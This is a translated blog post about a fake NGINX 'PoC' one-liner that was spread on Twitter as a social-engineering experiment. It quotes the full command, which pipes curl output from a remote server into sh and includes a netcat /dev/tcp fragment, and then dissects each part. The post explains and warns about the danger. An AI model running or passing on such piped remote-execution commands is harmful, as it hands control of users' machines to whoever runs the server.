Poznámka. preklad.:
TL;DR: Za žiadnych okolností nepoužívajte prepojenie súborov v sh alebo bash. Je to skvelý spôsob, ako stratiť kontrolu nad počítačom.
Chcem sa s vami podeliť o krátky príbeh o comicsovom PoC exploite, ktorý bol vytvorený 31. mája. Okamžite sa objavil v reakcii na správy z
Po dokončení práce na novej technike zahmlievania som citoval pôvodný tweet a „uniklo fungujúce PoC“ pozostávajúce z jedného riadku kódu, ktorý údajne využíva objavenú zraniteľnosť. Samozrejme, toto bol úplný nezmysel. Predpokladal som, že budem okamžite odhalený a že v najlepšom prípade dostanem pár retweetov (no dobre).
Nevedel som si však predstaviť, čo nasledovalo. Popularita môjho tweetu prudko vzrástla. Prekvapivo, v súčasnosti (15:00 moskovského času 1. júna) si len málo ľudí uvedomilo, že ide o falzifikát. Mnoho ľudí ho retweetuje bez toho, aby to vôbec skontrolovali (nehovoriac o obdivovaní krásnej grafiky ASCII, ktorú vydáva).
Len sa pozrite, aké je to krásne!
Aj keď sú všetky tieto slučky a farby skvelé, je jasné, že ľudia museli na svojom počítači spustiť kód, aby ich videli. Našťastie prehliadače fungujú rovnakým spôsobom a v kombinácii so skutočnosťou, že som sa v skutočnosti nechcel dostať do právnych problémov, kód pochovaný na mojej stránke iba robil echo volania bez pokusu o inštaláciu alebo spustenie akéhokoľvek dodatočného kódu.
Malá odbočka:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Socio-elektronické inžinierstvo (SEE) – viac než len phishing
Bezpečnosť a znalosť boli hlavnou súčasťou tohto experimentu. Myslím si, že práve oni viedli k jeho úspechu. Príkazový riadok jasne naznačoval bezpečnosť odkazom na "127.0.0.1" (známy localhost). Localhost sa považuje za bezpečný a údaje na ňom nikdy neopustia váš počítač.
Znalosť bola druhým kľúčovým komponentom SEE experimentu. Keďže cieľovú skupinu tvorili predovšetkým ľudia oboznámení so základmi počítačovej bezpečnosti, bolo dôležité vytvoriť kód tak, aby sa jeho časti zdali známe a známe (a teda bezpečné). Požičiavanie prvkov starých exploit konceptov a ich spájanie neobvyklým spôsobom sa ukázalo ako veľmi úspešné.
Nižšie je podrobná analýza jednovrstvovej vložky. Všetko na tomto zozname sa nosí kozmetického charakteru, a na jeho skutočnú prevádzku nie je potrebné prakticky nič.
Aké komponenty sú skutočne potrebné? Toto -gsS
, -O 0x0238f06a
, |sh
a samotný webový server. Webový server neobsahoval žiadne škodlivé inštrukcie, ale jednoducho obsluhoval ASCII grafiku pomocou príkazov echo
v skripte obsiahnutom v index.html
. Keď používateľ zadal riadok s |sh
v strede, index.html
načítané a spustené. Našťastie, správcovia webového servera nemali žiadne zlé úmysly.
-
../../../%00
— predstavuje prechod nad rámec adresára; -
ngx_stream_module.so
— cesta k náhodnému modulu NGINX; -
/bin/sh%00<'protocol:TCP'
- vraj štartujeme/bin/sh
na cieľovom počítači a presmerovať výstup na TCP kanál; -
-O 0x0238f06a#PLToffset
- tajná prísada, doplnená#PLToffset
, vyzerať ako pamäťový offset nejakým spôsobom obsiahnutý v PLT; -
|sh;
- ďalší dôležitý fragment. Potrebovali sme presmerovať výstup na sh/bash, aby sme mohli spustiť kód pochádzajúci z útočiaceho webového servera umiestneného na0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- figurína, na ktorú odkazuje netcat/dev/tcp/localhost
aby všetko opäť vyzeralo bezpečne. V skutočnosti nerobí nič a je zaradený do radu pre krásu.
Týmto sa končí dekódovanie jednoriadkového skriptu a diskusia o aspektoch „socio-elektronického inžinierstva“ (zložitý phishing).
Konfigurácia webového servera a protiopatrenia
Keďže drvivú väčšinu mojich odberateľov tvoria infosec/hackeri, rozhodol som sa spraviť webový server trochu odolnejším voči prejavom „záujmu“ z ich strany, len aby mali chalani čo robiť (a bola sranda nastaviť). Nebudem tu uvádzať všetky úskalia, keďže experiment stále prebieha, ale tu je niekoľko vecí, ktoré server robí:
- Aktívne monitoruje pokusy o distribúciu na určitých sociálnych sieťach a nahrádza rôzne náhľadové miniatúry, aby povzbudil používateľa, aby klikol na odkaz.
- Presmeruje Chrome/Mozilla/Safari/atď na propagačné video Thugcrowd namiesto zobrazenia skriptu shellu.
- Sleduje Zjavné známky narušenia/do očí bijúceho hackovania a potom začne presmerovať požiadavky na servery NSA (ha!).
- Nainštaluje trójsky kôň a tiež rootkit systému BIOS na všetky počítače, ktorých používatelia navštívia hostiteľa z bežného prehliadača (len si robím srandu!).
Malá časť antimérov
V tomto prípade bolo mojím jediným cieľom zvládnuť niektoré funkcie Apache – najmä skvelé pravidlá pre presmerovanie požiadaviek – a pomyslel som si: prečo nie?
NGINX Exploit (skutočné!)
Prihláste sa na odber
Zdroj: hab.com